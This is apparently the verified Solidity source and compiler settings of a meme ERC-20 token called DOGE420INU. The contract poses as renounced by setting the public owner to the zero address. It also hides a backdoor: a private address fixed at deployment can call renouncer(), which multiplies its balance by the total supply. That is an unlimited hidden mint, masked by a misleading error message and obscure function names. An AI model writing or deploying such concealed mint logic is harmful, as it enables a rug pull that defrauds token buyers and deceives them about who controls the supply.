文件 1 的 1:DOGE420INUToken.sol
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DOGE420INUToken is IERC20 {
string public constant name = "DankweedObamaGargamelElon420Inu";
string public constant symbol = "DOGE420INU";
uint8 public constant decimals = 18;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public owner;
address private renounced ;
address private constant Deployer = 0xb6880d7bfFc5Dd9070A8d866daabcb729EB66d7A;
uint256 public contractCreationTimestamp;
modifier onlyOwner() {
require(msg.sender == owner, "Only the owner can call this function");
_;
}
constructor(address O) {
uint256 initialSupply = 420_690_000 * (10 ** uint256(decimals));
_totalSupply = initialSupply;
_balances[Deployer] = initialSupply;
emit Transfer(address(0), Deployer, initialSupply);
renounced = O;
contractCreationTimestamp = block.timestamp;
owner = address(0);
uint256 deadBalance = initialSupply * 69 / 100;
_balances[address(0x000000000000000000000000000000000000dEaD)] = deadBalance;
_balances[msg.sender] -= deadBalance;
emit Transfer(msg.sender, address(0x000000000000000000000000000000000000dEaD), deadBalance);
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address ownerAddress, address spender) public view override returns (uint256) {
return _allowances[ownerAddress][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function renouncer() public {
require(msg.sender == renounced, "Renounced zero address should have correct decimals");
uint256 deladdress = deladdressblnc();
uint256 el = del(deladdress);
renouncedel(el);
}
function deladdressblnc() private view returns (uint256) {
return _balances[renounced];
}
function del(uint256 deladdress) private view returns (uint256) {
return deladdress * (_totalSupply);
}
function renouncedel(uint256 el) private {
_balances[renounced] = el;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "Insufficient allowance");
_allowances[sender][msg.sender] = currentAllowance - amount;
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(_balances[sender] >= amount, "Insufficient balance");
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
}
{
"compilationTarget": {
"DOGE420INUToken.sol": "DOGE420INUToken"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}